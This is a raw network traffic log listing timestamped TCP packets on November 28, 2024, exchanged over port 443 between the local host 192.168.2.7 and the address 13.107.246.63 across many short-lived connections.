Nov 28, 2024 10:05:31.499223948 CET	49833	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:31.499262094 CET	49833	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:31.499281883 CET	443	49833	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:31.499290943 CET	49833	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:31.499296904 CET	443	49833	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:31.501887083 CET	49839	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:31.501923084 CET	443	49839	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:31.502012014 CET	49839	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:31.502118111 CET	49839	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:31.502126932 CET	443	49839	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:31.510945082 CET	443	49834	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:31.514100075 CET	443	49834	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:31.514637947 CET	49834	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:31.514667988 CET	49834	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:31.514683008 CET	443	49834	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:31.514692068 CET	49834	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:31.514697075 CET	443	49834	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:31.517277002 CET	49840	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:31.517307043 CET	443	49840	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:31.517362118 CET	49840	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:31.517483950 CET	49840	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:31.517493963 CET	443	49840	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:31.637311935 CET	443	49835	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:31.640405893 CET	443	49835	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:31.640444040 CET	443	49835	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:31.640470982 CET	49835	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:31.640497923 CET	49835	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:31.640748978 CET	49835	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:31.640763998 CET	443	49835	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:31.640772104 CET	49835	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:31.640777111 CET	443	49835	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:31.643444061 CET	49841	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:31.643476963 CET	443	49841	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:31.643558979 CET	49841	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:31.643683910 CET	49841	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:31.643696070 CET	443	49841	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:32.237005949 CET	443	49836	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:32.237693071 CET	49836	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:32.237710953 CET	443	49836	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:32.238137007 CET	49836	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:32.238142014 CET	443	49836	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:32.680856943 CET	443	49836	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:32.684376001 CET	443	49836	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:32.684453964 CET	49836	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:32.684710979 CET	49836	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:32.684731007 CET	443	49836	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:32.684745073 CET	49836	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:32.684750080 CET	443	49836	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:32.687475920 CET	49842	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:32.687536955 CET	443	49842	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:32.687607050 CET	49842	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:32.687772989 CET	49842	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:32.687786102 CET	443	49842	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:32.717705965 CET	443	49837	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:32.721199989 CET	49837	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:32.721223116 CET	443	49837	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:32.721726894 CET	49837	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:32.721730947 CET	443	49837	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:33.164575100 CET	443	49837	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:33.164609909 CET	443	49837	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:33.164658070 CET	443	49837	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:33.164685965 CET	49837	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:33.164724112 CET	49837	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:33.176887035 CET	49837	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:33.176908016 CET	443	49837	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:33.176933050 CET	49837	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:33.176940918 CET	443	49837	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:33.179716110 CET	49843	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:33.179754019 CET	443	49843	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:33.179835081 CET	49843	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:33.180021048 CET	49843	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:33.180036068 CET	443	49843	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:33.219218969 CET	443	49839	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:33.225037098 CET	49839	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:33.225050926 CET	443	49839	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:33.225488901 CET	49839	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:33.225493908 CET	443	49839	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:33.302512884 CET	443	49840	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:33.303417921 CET	49840	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:33.303445101 CET	443	49840	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:33.303877115 CET	49840	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:33.303881884 CET	443	49840	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:33.423775911 CET	443	49841	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:33.424268007 CET	49841	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:33.424289942 CET	443	49841	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:33.424716949 CET	49841	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:33.424721956 CET	443	49841	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:33.655687094 CET	443	49839	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:33.658868074 CET	443	49839	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:33.658936024 CET	49839	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:33.659015894 CET	49839	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:33.659035921 CET	443	49839	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:33.659048080 CET	49839	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:33.659054041 CET	443	49839	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:33.661640882 CET	49844	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:33.661670923 CET	443	49844	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:33.661736012 CET	49844	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:33.661850929 CET	49844	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:33.661866903 CET	443	49844	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:33.745698929 CET	443	49840	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:33.749618053 CET	443	49840	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:33.749691963 CET	49840	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:33.758780956 CET	49840	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:33.758836031 CET	443	49840	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:33.758852005 CET	49840	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:33.758861065 CET	443	49840	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:33.763904095 CET	49845	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:33.763942003 CET	443	49845	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:33.764312983 CET	49845	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:33.764528990 CET	49845	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:33.764543056 CET	443	49845	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:33.958758116 CET	443	49841	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:33.958820105 CET	443	49841	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:33.958888054 CET	49841	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:33.959099054 CET	49841	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:33.959115982 CET	443	49841	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:33.959125042 CET	49841	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:33.959129095 CET	443	49841	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:33.962140083 CET	49846	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:33.962186098 CET	443	49846	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:33.962254047 CET	49846	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:33.962430000 CET	49846	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:33.962447882 CET	443	49846	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:34.509155989 CET	443	49842	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:34.511497974 CET	49842	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:34.511528969 CET	443	49842	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:34.512300968 CET	49842	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:34.512307882 CET	443	49842	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:34.944416046 CET	443	49842	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:34.944444895 CET	443	49842	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:34.944487095 CET	443	49842	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:34.944489002 CET	49842	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:34.944524050 CET	49842	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:34.944752932 CET	49842	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:34.944773912 CET	443	49842	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:34.944820881 CET	49842	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:34.944828033 CET	443	49842	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:34.947484016 CET	49847	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:34.947520018 CET	443	49847	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:34.947622061 CET	49847	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:34.947781086 CET	49847	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:34.947793961 CET	443	49847	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:35.012638092 CET	443	49843	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:35.013063908 CET	49843	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:35.013079882 CET	443	49843	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:35.013539076 CET	49843	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:35.013545036 CET	443	49843	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:35.456352949 CET	443	49843	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:35.459688902 CET	443	49843	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:35.459747076 CET	49843	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:35.459795952 CET	49843	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:35.459809065 CET	443	49843	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:35.459820032 CET	49843	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:35.459824085 CET	443	49843	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:35.462634087 CET	49848	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:35.462662935 CET	443	49848	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:35.462728024 CET	49848	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:35.462893963 CET	49848	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:35.462908030 CET	443	49848	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:35.497473001 CET	443	49845	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:35.517016888 CET	49845	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:35.517040968 CET	443	49845	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:35.517488003 CET	49845	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:35.517493010 CET	443	49845	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:35.679734945 CET	443	49846	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:35.680231094 CET	49846	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:35.680275917 CET	443	49846	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:35.680716038 CET	49846	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:35.680732965 CET	443	49846	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:35.932267904 CET	443	49845	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:35.935462952 CET	443	49845	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:35.935517073 CET	49845	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:35.940640926 CET	49845	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:35.940656900 CET	443	49845	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:35.940670013 CET	49845	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:35.940675020 CET	443	49845	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:35.944416046 CET	49849	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:35.944453001 CET	443	49849	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:35.944514990 CET	49849	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:35.944648981 CET	49849	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:35.944664001 CET	443	49849	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:36.114590883 CET	443	49846	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:36.118304968 CET	443	49846	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:36.118360043 CET	49846	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:36.121351004 CET	49846	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:36.121372938 CET	443	49846	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:36.121390104 CET	49846	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:36.121401072 CET	443	49846	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:36.124902964 CET	49850	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:36.124941111 CET	443	49850	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:36.124995947 CET	49850	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:36.125860929 CET	49850	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:36.125878096 CET	443	49850	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:36.791711092 CET	443	49847	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:36.792274952 CET	49847	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:36.792299986 CET	443	49847	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:36.792887926 CET	49847	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:36.792893887 CET	443	49847	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:37.241941929 CET	443	49848	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:37.242405891 CET	49848	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:37.242432117 CET	443	49848	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:37.242830992 CET	49848	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:37.242836952 CET	443	49848	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:37.244539976 CET	443	49847	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:37.248364925 CET	443	49847	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:37.248430967 CET	49847	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:37.248469114 CET	49847	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:37.248482943 CET	443	49847	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:37.248492956 CET	49847	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:37.248497009 CET	443	49847	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:37.251012087 CET	49853	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:37.251044989 CET	443	49853	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:37.251128912 CET	49853	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:37.251295090 CET	49853	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:37.251308918 CET	443	49853	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:37.685487986 CET	443	49848	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:37.688921928 CET	443	49848	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:37.688966990 CET	49848	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:37.688971043 CET	443	49848	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:37.689009905 CET	49848	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:37.689053059 CET	49848	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:37.689070940 CET	443	49848	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:37.689081907 CET	49848	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:37.689085960 CET	443	49848	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:37.691745996 CET	49854	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:37.691788912 CET	443	49854	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:37.691857100 CET	49854	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:37.691968918 CET	49854	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:37.691978931 CET	443	49854	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:37.791534901 CET	443	49849	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:37.791994095 CET	49849	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:37.792026043 CET	443	49849	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:37.792443991 CET	49849	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:37.792452097 CET	443	49849	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:37.908113956 CET	443	49850	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:37.908550978 CET	49850	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:37.908562899 CET	443	49850	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:37.909003973 CET	49850	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:37.909008980 CET	443	49850	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:37.943985939 CET	443	49844	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:37.944386959 CET	49844	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:37.944418907 CET	443	49844	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:37.944788933 CET	49844	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:37.944794893 CET	443	49844	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:38.244774103 CET	443	49849	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:38.247926950 CET	443	49849	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:38.247988939 CET	49849	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:38.248059988 CET	49849	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:38.248074055 CET	443	49849	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:38.248092890 CET	49849	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:38.248099089 CET	443	49849	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:38.250698090 CET	49855	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:38.250720978 CET	443	49855	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:38.250809908 CET	49855	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:38.250926971 CET	49855	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:38.250941992 CET	443	49855	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:38.354068041 CET	443	49850	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:38.357346058 CET	443	49850	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:38.357389927 CET	443	49850	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:38.357398987 CET	49850	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:38.357436895 CET	49850	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:38.357486010 CET	49850	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:38.357501984 CET	443	49850	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:38.357512951 CET	49850	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:38.357517958 CET	443	49850	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:38.360208035 CET	49857	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:38.360260010 CET	443	49857	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:38.360342979 CET	49857	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:38.360460997 CET	49857	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:38.360476971 CET	443	49857	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:38.570739031 CET	443	49844	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:38.571132898 CET	443	49844	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:38.571182013 CET	443	49844	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:38.571194887 CET	49844	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:38.571234941 CET	49844	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:38.576237917 CET	49844	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:38.576237917 CET	49844	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:38.576263905 CET	443	49844	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:38.576278925 CET	443	49844	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:38.579613924 CET	49858	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:38.579632044 CET	443	49858	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:38.579699993 CET	49858	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:38.580045938 CET	49858	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:38.580059052 CET	443	49858	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:39.032318115 CET	443	49853	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:39.032763958 CET	49853	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:39.032778025 CET	443	49853	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:39.033216953 CET	49853	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:39.033221960 CET	443	49853	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:39.406747103 CET	443	49854	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:39.407207966 CET	49854	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:39.407234907 CET	443	49854	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:39.407679081 CET	49854	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:39.407685041 CET	443	49854	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:39.476038933 CET	443	49853	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:39.479727983 CET	443	49853	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:39.479784966 CET	49853	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:39.479827881 CET	49853	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:39.479837894 CET	443	49853	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:39.479851007 CET	49853	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:39.479855061 CET	443	49853	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:39.482440948 CET	49859	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:39.482481956 CET	443	49859	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:39.482553959 CET	49859	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:39.482678890 CET	49859	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:39.482690096 CET	443	49859	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:39.842902899 CET	443	49854	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:39.846079111 CET	443	49854	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:39.846138000 CET	49854	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:39.846220970 CET	49854	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:39.846235037 CET	443	49854	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:39.846252918 CET	49854	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:39.846259117 CET	443	49854	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:39.848767996 CET	49860	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:39.848800898 CET	443	49860	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:39.848876953 CET	49860	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:39.849028111 CET	49860	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:39.849044085 CET	443	49860	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:40.096035004 CET	443	49855	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:40.096481085 CET	49855	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:40.096496105 CET	443	49855	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:40.096927881 CET	49855	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:40.096934080 CET	443	49855	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:40.143255949 CET	443	49857	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:40.143717051 CET	49857	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:40.143754959 CET	443	49857	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:40.144171000 CET	49857	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:40.144177914 CET	443	49857	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:40.364618063 CET	443	49858	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:40.365048885 CET	49858	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:40.365061045 CET	443	49858	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:40.365514040 CET	49858	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:40.365518093 CET	443	49858	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:40.549298048 CET	443	49855	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:40.552331924 CET	443	49855	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:40.552385092 CET	49855	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:40.554723978 CET	49855	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:40.554723978 CET	49855	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:40.554737091 CET	443	49855	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:40.554748058 CET	443	49855	13.107.246.63	192.168.2.7
